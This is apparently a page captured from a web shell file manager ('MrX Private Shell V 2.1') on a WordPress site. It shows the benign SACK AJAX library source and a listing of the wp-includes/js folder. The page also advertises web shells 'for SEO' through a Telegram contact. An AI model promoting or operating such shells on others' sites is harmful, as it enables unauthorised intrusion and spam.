__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
/* Simple AJAX Code-Kit (SACK) v1.6.1 */
/* ©2005 Gregory Wild-Smith */
/* www.twilightuniverse.com */
/* Software licenced under a modified X11 licence,
see documentation or authors website for more details */
function sack(file) {
this.xmlhttp = null;
this.resetData = function() {
this.method = "POST";
this.queryStringSeparator = "?";
this.argumentSeparator = "&";
this.URLString = "";
this.encodeURIString = true;
this.execute = false;
this.element = null;
this.elementObj = null;
this.requestFile = file;
this.vars = new Object();
this.responseStatus = new Array(2);
};
this.resetFunctions = function() {
this.onLoading = function() { };
this.onLoaded = function() { };
this.onInteractive = function() { };
this.onCompletion = function() { };
this.onError = function() { };
this.onFail = function() { };
};
this.reset = function() {
this.resetFunctions();
this.resetData();
};
this.createAJAX = function() {
try {
this.xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
} catch (e1) {
try {
this.xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
} catch (e2) {
this.xmlhttp = null;
}
}
if (! this.xmlhttp) {
if (typeof XMLHttpRequest != "undefined") {
this.xmlhttp = new XMLHttpRequest();
} else {
this.failed = true;
}
}
};
this.setVar = function(name, value){
this.vars[name] = Array(value, false);
};
this.encVar = function(name, value, returnvars) {
if (true == returnvars) {
return Array(encodeURIComponent(name), encodeURIComponent(value));
} else {
this.vars[encodeURIComponent(name)] = Array(encodeURIComponent(value), true);
}
}
this.processURLString = function(string, encode) {
encoded = encodeURIComponent(this.argumentSeparator);
regexp = new RegExp(this.argumentSeparator + "|" + encoded);
varArray = string.split(regexp);
for (i = 0; i < varArray.length; i++){
urlVars = varArray[i].split("=");
if (true == encode){
this.encVar(urlVars[0], urlVars[1]);
} else {
this.setVar(urlVars[0], urlVars[1]);
}
}
}
this.createURLString = function(urlstring) {
if (this.encodeURIString && this.URLString.length) {
this.processURLString(this.URLString, true);
}
if (urlstring) {
if (this.URLString.length) {
this.URLString += this.argumentSeparator + urlstring;
} else {
this.URLString = urlstring;
}
}
// prevents caching of URLString
this.setVar("rndval", new Date().getTime());
urlstringtemp = new Array();
for (key in this.vars) {
if (false == this.vars[key][1] && true == this.encodeURIString) {
encoded = this.encVar(key, this.vars[key][0], true);
delete this.vars[key];
this.vars[encoded[0]] = Array(encoded[1], true);
key = encoded[0];
}
urlstringtemp[urlstringtemp.length] = key + "=" + this.vars[key][0];
}
if (urlstring){
this.URLString += this.argumentSeparator + urlstringtemp.join(this.argumentSeparator);
} else {
this.URLString += urlstringtemp.join(this.argumentSeparator);
}
}
this.runResponse = function() {
eval(this.response);
}
this.runAJAX = function(urlstring) {
if (this.failed) {
this.onFail();
} else {
this.createURLString(urlstring);
if (this.element) {
this.elementObj = document.getElementById(this.element);
}
if (this.xmlhttp) {
var self = this;
if (this.method == "GET") {
totalurlstring = this.requestFile + this.queryStringSeparator + this.URLString;
this.xmlhttp.open(this.method, totalurlstring, true);
} else {
this.xmlhttp.open(this.method, this.requestFile, true);
try {
this.xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded")
} catch (e) { }
}
this.xmlhttp.onreadystatechange = function() {
switch (self.xmlhttp.readyState) {
case 1:
self.onLoading();
break;
case 2:
self.onLoaded();
break;
case 3:
self.onInteractive();
break;
case 4:
self.response = self.xmlhttp.responseText;
self.responseXML = self.xmlhttp.responseXML;
self.responseStatus[0] = self.xmlhttp.status;
self.responseStatus[1] = self.xmlhttp.statusText;
if (self.execute) {
self.runResponse();
}
if (self.elementObj) {
elemNodeName = self.elementObj.nodeName;
elemNodeName.toLowerCase();
if (elemNodeName == "input"
|| elemNodeName == "select"
|| elemNodeName == "option"
|| elemNodeName == "textarea") {
self.elementObj.value = self.response;
} else {
self.elementObj.innerHTML = self.response;
}
}
if (self.responseStatus[0] == "200") {
self.onCompletion();
} else {
self.onError();
}
self.URLString = "";
break;
}
};
this.xmlhttp.send(this.URLString);
}
}
};
this.reset();
this.createAJAX();
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| codemirror | Folder | 0755 |
|
|
| crop | Folder | 0755 |
|
|
| dist | Folder | 0755 |
|
|
| imgareaselect | Folder | 0755 |
|
|
| jcrop | Folder | 0755 |
|
|
| jquery | Folder | 0755 |
|
|
| mediaelement | Folder | 0755 |
|
|
| plupload | Folder | 0755 |
|
|
| swfupload | Folder | 0755 |
|
|
| thickbox | Folder | 0755 |
|
|
| tinymce | Folder | 0755 |
|
|
| admin-bar.js | File | 10.3 KB | 0644 |
|
| admin-bar.min.js | File | 3.41 KB | 0644 |
|
| api-request.js | File | 3.25 KB | 0644 |
|
| api-request.min.js | File | 1023 B | 0644 |
|
| autosave.js | File | 21.95 KB | 0644 |
|
| autosave.min.js | File | 5.67 KB | 0644 |
|
| backbone.js | File | 78.51 KB | 0644 |
|
| backbone.min.js | File | 23.73 KB | 0644 |
|
| clipboard.js | File | 26.18 KB | 0644 |
|
| clipboard.min.js | File | 8.8 KB | 0644 |
|
| colorpicker.js | File | 28.4 KB | 0644 |
|
| colorpicker.min.js | File | 16.11 KB | 0644 |
|
| comment-reply.js | File | 12.22 KB | 0644 |
|
| comment-reply.min.js | File | 2.96 KB | 0644 |
|
| customize-base.js | File | 25.22 KB | 0644 |
|
| customize-base.min.js | File | 7.67 KB | 0644 |
|
| customize-loader.js | File | 7.72 KB | 0644 |
|
| customize-loader.min.js | File | 3.47 KB | 0644 |
|
| customize-models.js | File | 6.66 KB | 0644 |
|
| customize-models.min.js | File | 3.59 KB | 0644 |
|
| customize-preview-nav-menus.js | File | 14.67 KB | 0644 |
|
| customize-preview-nav-menus.min.js | File | 4.92 KB | 0644 |
|
| customize-preview-widgets.js | File | 22.71 KB | 0644 |
|
| customize-preview-widgets.min.js | File | 7.64 KB | 0644 |
|
| customize-preview.js | File | 27.93 KB | 0644 |
|
| customize-preview.min.js | File | 10.75 KB | 0644 |
|
| customize-selective-refresh.js | File | 32.55 KB | 0644 |
|
| customize-selective-refresh.min.js | File | 10.44 KB | 0644 |
|
| customize-views.js | File | 5.1 KB | 0644 |
|
| customize-views.min.js | File | 2.51 KB | 0644 |
|
| heartbeat.js | File | 23.49 KB | 0644 |
|
| heartbeat.min.js | File | 5.81 KB | 0644 |
|
| hoverIntent.js | File | 7.06 KB | 0644 |
|
| hoverIntent.min.js | File | 1.46 KB | 0644 |
|
| hoverintent-js.min.js | File | 1.68 KB | 0644 |
|
| imagesloaded.min.js | File | 5.39 KB | 0644 |
|
| json2.js | File | 31 B | 0644 |
|
| json2.min.js | File | 35 B | 0644 |
|
| masonry.min.js | File | 23.57 KB | 0644 |
|
| mce-view.js | File | 25.24 KB | 0644 |
|
| mce-view.min.js | File | 9.54 KB | 0644 |
|
| media-audiovideo.js | File | 24.24 KB | 0644 |
|
| media-audiovideo.min.js | File | 11.77 KB | 0644 |
|
| media-editor.js | File | 28.44 KB | 0644 |
|
| media-editor.min.js | File | 10.63 KB | 0644 |
|
| media-grid.js | File | 26.15 KB | 0644 |
|
| media-grid.min.js | File | 12.98 KB | 0644 |
|
| media-models.js | File | 42.58 KB | 0644 |
|
| media-models.min.js | File | 12.97 KB | 0644 |
|
| media-views.js | File | 266.99 KB | 0644 |
|
| media-views.min.js | File | 108.18 KB | 0644 |
|
| quicktags.js | File | 22.07 KB | 0644 |
|
| quicktags.min.js | File | 10.87 KB | 0644 |
|
| shortcode.js | File | 10.51 KB | 0644 |
|
| shortcode.min.js | File | 2.58 KB | 0644 |
|
| swfobject.js | File | 0 B | 0644 |
|
| swfobject.min.js | File | 35 B | 0644 |
|
| tw-sack.js | File | 4.85 KB | 0644 |
|
| tw-sack.min.js | File | 3.21 KB | 0644 |
|
| twemoji.js | File | 36.32 KB | 0644 |
|
| twemoji.min.js | File | 19.39 KB | 0644 |
|
| underscore.js | File | 67.12 KB | 0644 |
|
| underscore.min.js | File | 18.46 KB | 0644 |
|
| utils.js | File | 4.56 KB | 0644 |
|
| utils.min.js | File | 1.82 KB | 0644 |
|
| wp-ajax-response.js | File | 3.81 KB | 0644 |
|
| wp-ajax-response.min.js | File | 2.51 KB | 0644 |
|
| wp-api.js | File | 45.88 KB | 0644 |
|
| wp-api.min.js | File | 14.34 KB | 0644 |
|
| wp-auth-check.js | File | 4.11 KB | 0644 |
|
| wp-auth-check.min.js | File | 1.62 KB | 0644 |
|
| wp-backbone.js | File | 14.88 KB | 0644 |
|
| wp-backbone.min.js | File | 2.97 KB | 0644 |
|
| wp-custom-header.js | File | 10.22 KB | 0644 |
|
| wp-custom-header.min.js | File | 4.34 KB | 0644 |
|
| wp-embed-template.js | File | 6.62 KB | 0644 |
|
| wp-embed-template.min.js | File | 3.1 KB | 0644 |
|
| wp-embed.js | File | 3.14 KB | 0644 |
|
| wp-embed.min.js | File | 1.22 KB | 0644 |
|
| wp-emoji-loader.js | File | 12.89 KB | 0644 |
|
| wp-emoji-loader.min.js | File | 2.82 KB | 0644 |
|
| wp-emoji-release.min.js | File | 22.23 KB | 0644 |
|
| wp-emoji.js | File | 8.59 KB | 0644 |
|
| wp-emoji.min.js | File | 2.79 KB | 0644 |
|
| wp-list-revisions.js | File | 970 B | 0644 |
|
| wp-list-revisions.min.js | File | 597 B | 0644 |
|
| wp-lists.js | File | 24.72 KB | 0644 |
|
| wp-lists.min.js | File | 7.34 KB | 0644 |
|
| wp-pointer.js | File | 9.99 KB | 0644 |
|
| wp-pointer.min.js | File | 3.54 KB | 0644 |
|
| wp-sanitize.js | File | 1.3 KB | 0644 |
|
| wp-sanitize.min.js | File | 444 B | 0644 |
|
| wp-util.js | File | 4.57 KB | 0644 |
|
| wp-util.min.js | File | 1.39 KB | 0644 |
|
| wpdialog.js | File | 569 B | 0644 |
|
| wpdialog.min.js | File | 281 B | 0644 |
|
| wplink.js | File | 20.74 KB | 0644 |
|
| wplink.min.js | File | 11.05 KB | 0644 |
|
| zxcvbn-async.js | File | 821 B | 0644 |
|
| zxcvbn-async.min.js | File | 351 B | 0644 |
|
| zxcvbn.min.js | File | 802.97 KB | 0644 |
|